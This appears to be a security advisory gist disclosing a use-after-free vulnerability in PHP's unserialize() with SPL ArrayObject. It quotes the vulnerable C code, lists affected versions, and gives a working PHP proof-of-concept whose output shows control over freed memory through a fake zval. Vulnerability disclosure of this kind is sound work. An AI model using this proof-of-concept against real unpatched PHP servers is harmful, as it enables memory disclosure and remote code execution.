Skip to content

Instantly share code, notes, and snippets.

@chtg chtg/.md
Last active Aug 29, 2015

Embed
What would you like to do?
Use After Free Vulnerability in unserialize() with SPL ArrayObject

#Use After Free Vulnerability in unserialize() with SPL ArrayObject

Taoguang Chen <@chtg> - Write Date: 2015.7.30 - Release Date: 2015.8.7

A use-after-free vulnerability was discovered in unserialize() with SPL ArrayObject object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions

Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

	if (*p!= 'x' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pflags);
	if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {
		zval_ptr_dtor(&pflags);
		goto outexcept;
	}

	--p; /* for ';' */
	flags = Z_LVAL_P(pflags);
	zval_ptr_dtor(&pflags);  <===  free memory
	
	...

	/* members */
	if (*p!= 'm' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pmembers);
	if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
		zval_ptr_dtor(&pmembers);
		goto outexcept;
	}

	/* copy members */
	if (!intern->std.properties) {
		rebuild_object_properties(&intern->std);
	}
	zend_hash_copy(intern->std.properties, Z_ARRVAL_P(pmembers), (copy_ctor_func_t) zval_add_ref, (void *) NULL, sizeof(zval *));
	zval_ptr_dtor(&pmembers);  <===  free memory

	/* done reading $serialized */

	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
	return;

The zval_ptr_dtor() leads to &pflags and &pmembers are freed from memory. However the unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.

Proof of Concept Exploit

The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.

<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'x:i:1234;a:0:{};m:a:0:{}';
$exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
	$out = "";
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>

Test the PoC on the command line:

$ php uafpoc.php
array(2) {
  [0]=>
  object(ArrayObject)#1 (1) {
    ["storage":"ArrayObject":private]=>
    array(0) {
    }
  }
  [1]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.